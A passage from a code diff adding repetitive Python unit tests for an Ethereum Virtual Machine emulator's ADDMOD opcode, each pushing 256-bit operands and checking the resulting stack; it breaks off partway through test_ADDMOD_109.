+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281527586710570232449627116313036034012829185020175L])
+
+    def test_ADDMOD_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718928L])
+
+    def test_ADDMOD_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718944L])
+
+    def test_ADDMOD_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718960L])
+
+    def test_ADDMOD_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [12179180311090857651697373605969025163799437824L])
+
+    def test_ADDMOD_82(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_83(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_84(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_85(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_86(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_87(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_88(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_89(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_90(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_91(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_92(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_93(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_94(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_95(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_96(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_97(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_98(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_99(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_100(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_101(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_102(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_103(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_104(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_105(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_106(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_107(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_108(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_109(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
